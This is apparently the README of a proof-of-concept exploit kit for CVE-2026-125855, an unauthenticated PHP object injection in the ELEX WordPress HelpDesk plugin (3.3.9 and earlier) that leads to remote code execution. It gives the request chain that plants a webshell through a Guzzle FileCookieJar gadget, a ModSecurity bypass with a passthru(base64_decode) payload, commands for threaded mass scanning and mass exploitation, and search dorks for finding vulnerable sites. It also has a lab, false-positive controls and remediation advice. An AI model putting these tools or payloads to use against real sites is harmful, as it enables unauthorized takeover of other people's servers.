
PoC, scanner, and lab for CVE-2026-125855 (ELEX WordPress HelpDesk <= 3.3.9): unauthenticated PHP object injection leading to RCE, with WAF bypass.
ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.9 Unauthenticated PHP Object Injection -> RCE (CWE-502, CVSS 9.8). Fixed in 3.4.0.
Two CVE identifiers describe the same bug (two bounty programs, two IDs). All public sources — NVD, CIRCL, Patchstack — agree on the affected window and the fix version.
The wp_ajax_nopriv_eh_crm_new_ticket_post handler accepts a form parameter containing
the ticket fields. The value of any custom field is stored as ticket meta and later
passed to unserialize() without an allowed_classes restriction. A serialized
GuzzleHttp\Cookie\FileCookieJar object (Guzzle ships inside the plugin's vendor/)
destructs into file_put_contents(), which writes an attacker-chosen file — a PHP
webshell in the web root.
POST /wp-admin/admin-ajax.php
action = eh_crm_new_ticket_post
nonce = <public, harvested from the [wsdesk_support] page>
form = request_email=…&request_title=…&request_description=…&<custom_field_slug>=<serialized FileCookieJar>
-> parse_str -> ticket meta stored -> auto_send_creation_email
-> eh_crm_get_ticketmeta() -> unserialize() -> FileCookieJar::__destruct()
-> file_put_contents() -> webshell
GET /wp-content/<dir>/<name>.php?a=id -> uid=33(www-data)
Full analysis: CVE-2026-125855-report.md — sink-coverage audit
(30 sinks in 3.3.9, 0 in 3.4.0), the 6 nopriv handlers and why only one reaches a sink,
WAF bypass, failure-mode inventory, remediation.
At least one custom ticket field must exist. Its slug is the only key whose value
reaches the deserializer; request_email / request_title / request_description are
handled separately and never touch it. A pristine 3.3.9 install with no custom fields is
not exploitable through this path.
The tool reports such hosts as ASSUMED: no custom field, never VULN.
python3 poc.py # interactive menu (primary entry point)
python3 poc.py -u http://host # single scan
python3 poc.py -u http://host --exploit # reach the controlled outcome
python3 poc.py -u http://host --exploit --waf # WAF-bypass technique first
python3 poc.py -l targets.txt --exploit --threads 20
Menu: 1 single scan · 2 single exploit · 3 mass scan · 4 mass exploit · 0 exit.
--exploit targets a controlled outcome: a PHP webshell in the web root, verified by
reading uid=… back through it. VULN is never claimed from a blocked or rejected request.
| Path | Purpose |
|---|---|
poc.py | main tool — scan / exploit / mass, menu-driven, staged state machine |
probe_readme.py | mass fingerprint sweep via readme.txt (Stable tag) — run this first |
wsdesk_payload.py | serialized FileCookieJar gadget builder (plain + WAF-safe S: form) |
DORKS.md | validated dorks + traps (never use ?ver= for version) |
CVE-2026-125855-report.md | full report: sink audit, chain, lab, WAF bypass, remediation |
lab/ | docker topology + setup scripts, reproducible from pinned plugin downloads |
evidence/ | verification matrix and raw lab transcripts |
bash lab/get-plugin.sh # downloads 3.3.9 and 3.4.0 from wordpress.org (hash-stable)
sudo bash lab/up.sh # brings up 8210 / 8211 / 8212 / 8213
| Port | Build | Role |
|---|---|---|
| 8210 | 3.3.9 | vulnerable |
| 8211 | 3.4.0 | patched control |
| 8212 | 3.3.9 + ModSecurity CRS | WAF bypass |
| 8213 | 3.4.0 + ModSecurity CRS | WAF + patched control |
Verified matrix: [RCE] [PATCHED] [RCE] [PATCHED] — zero false positives, stable over
repeated runs, and reproduced from a clean rebuild using only the two downloaded zips.
No compose plugin required — up.sh uses plain docker run with unique container names
and ports so it never collides with another lab on the same host.
The naive payload trips three independent rules: 920270 (literal NUL), 930120
(the phrase var/www), and 933130/933150 (<?php and (). The working payload needs
all three layers to change:
S: serialization form — \00 written as escapes, no NUL on the wire.../wp-content/cache/<name>.php — absolute paths get a 403.<?php passthru(base64_decode('…')); ?>.--waf selects this technique first and falls back automatically.
inurl:"/wp-content/plugins/elex-helpdesk-customer-support-ticket-system/readme.txt"python3 probe_readme.py -l hosts.txt → keep only Stable tag <= 3.3.9python3 poc.py -u <host> → scan--exploit only on hosts that pass step 3Trap worth knowing: EH_CRM_VERSION is 3.1.2 in both 3.3.9 and 3.4.0, so ?ver=3.1.2
identifies the plugin but cannot separate vulnerable from patched. readme.txt Stable tag
is the only reliable version oracle. See DORKS.md.
The build-guard stage sends a deliberately bogus nonce before trusting any success string.
Several WordPress sites return a generic {"status":"success"} for any nonce because a
different plugin or a fork owns that endpoint; without the calibration control those hosts
produce false VULN. The control is mandatory and is verified in the lab: the real handler
rejects a bogus nonce on both 3.3.9 and 3.4.0.
Similarly, the product must be confirmed, not assumed: WSDesk Premium (elula/wsdesk) is a
different plugin from the free one this CVE covers, and its presence does not make a host
vulnerable.
Upgrade to 3.4.0 or later. Every unserialize() call in includes/ is routed through
eh_crm_safe_unserialize(), which passes ['allowed_classes' => false]. If upgrading is not
immediate: remove unused custom fields, restrict the support form to authenticated users, and
put a WAF in front that blocks serialized object bodies.
For authorized security testing, lab research, and defensive validation only. Running this against systems you do not own or have written permission to test is illegal.